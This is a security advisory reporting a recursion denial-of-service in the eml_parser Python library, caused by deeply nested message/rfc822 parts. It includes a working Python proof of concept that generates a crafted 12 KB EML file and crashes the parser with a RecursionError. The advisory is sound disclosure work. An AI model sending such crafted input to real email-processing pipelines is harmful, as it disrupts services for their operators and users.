eml_parser has recursion DoS via nested message/rfc822 attachments

Summary

EmlParser.get_raw_body_text() recurses unconditionally for every nested message/rfc822 attachment without any depth limit. An attacker who can supply a badly crafted EML file with approximately 120 nested message/rfc822 parts triggers an unhandled RecursionError and aborts parsing of the message. A 12 KB EML file is enough to crash a worker. Though this causes the parser to crash, it is an unlikely scenario as the suggested EML that crashes the parser would not pass basic RFC compliance tests.

Details

The vulnerable function is EmlParser.get_raw_body_text() in eml_parser/parser.py. For every part of type multipart/*, the function iterates over its sub-parts; for every sub-part of type message/rfc822, it calls itself recursively on the inner message:

There is no depth parameter and no early-abort. CPython's default sys.recursionlimit is 1000. Each level of message/rfc822 nesting adds approximately 8 frames to the stack (parser code + stdlib _header_value_parser calls), so roughly 120 nested levels exhaust the limit.

The RecursionError is not caught anywhere along the call chain, so it propagates out of decode_email_bytes() and aborts processing of the entire message.

PoC

Environment: Python 3.12.3, eml_parser 3.0.0 (pip install eml_parser==3.0.0), default sys.recursionlimit=1000, Ubuntu 24.04 aarch64. No special configuration of EmlParser, default constructor.

Self-contained reproducer that builds the PoC and triggers the crash:

import eml_parser

def build_poc(depth=124):
    inner = b"From: a@a\r\nTo: b@b\r\nContent-Type: text/plain\r\n\r\n.\r\n"
    msg = inner
    for i in range(depth):
        b = f"B{i}".encode()
        msg = (
            b'Content-Type: multipart/mixed; boundary="' + b + b'"\r\n\r\n'
            b'--' + b + b'\r\nContent-Type: message/rfc822\r\n\r\n'
        ) + msg + b'\r\n--' + b + b'--\r\n'
    return msg

ep = eml_parser.EmlParser()
ep.decode_email_bytes(build_poc())
# RecursionError after ~76 ms on Apple Silicon (Ubuntu 24.04 aarch64).

Note that the suggested code does not produce an RFC compliant message. Resulting EML payload size: 12,369 bytes. SHA-256 of generated PoC: 00f15f635e21b4144967c2893b37425e6a6bd7b4185c557e5c7e904e1e6d18e8

The crash is deterministic on a stock install. No network, no special headers, no large attachments.

Impact

Denial of service of any pipeline that processes attacker-supplied EML files using .